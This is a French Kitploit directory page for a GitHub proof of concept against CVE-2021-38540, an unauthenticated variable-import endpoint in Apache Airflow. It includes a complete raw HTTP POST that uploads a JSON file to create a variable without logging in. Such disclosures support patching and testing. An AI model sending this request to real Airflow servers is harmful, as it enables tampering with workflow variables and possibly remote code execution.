Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/captain-v-hook/poc-for-cve-2021-38540-
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationMauvaise Configuration
GitHubcaptain-v-hook/poc-for-cve-2021-38540-

PoC-for-CVE-2021-38540-

Authentification manquante sur un composant critique CVE-2021-38540

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
4il y a 4 ansPas encore vérifié

Preuve de concept CVE-2021-38540

Absence d'authentification sur un composant critique connue sous le nom de CVE-2021-38540

À propos de ce bogue :

Le point de terminaison d'importation de variables n'était pas protégé par authentification dans Airflow >=2.0.0, <2.1.3. Cela permettait à des utilisateurs non authentifiés d'accéder à ce point de terminaison pour ajouter/modifier des variables Airflow utilisées dans les DAGs, pouvant potentiellement entraîner un déni de service, une divulgation d'informations ou une exécution de code à distance. Ce problème affecte Apache Airflow >=2.0.0, <2.1.3. [CVE-2021-38540]

À propos de cette preuve de concept :

Cette preuve de concept contient une requête qui créera une variable nommée : kafka_captainhook_user sous Admin>variables [ Liste des variables ]

Source de la preuve de concept :

root@kitploit:~
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"

 
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json

{
    "kafka_captainhook_user": "testCaptain"
}

-----------------------------33976360506209910502051128075--

Références

https://nvd.nist.gov/vuln/detail/CVE-2021-38540 https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E

Télécharger l’outil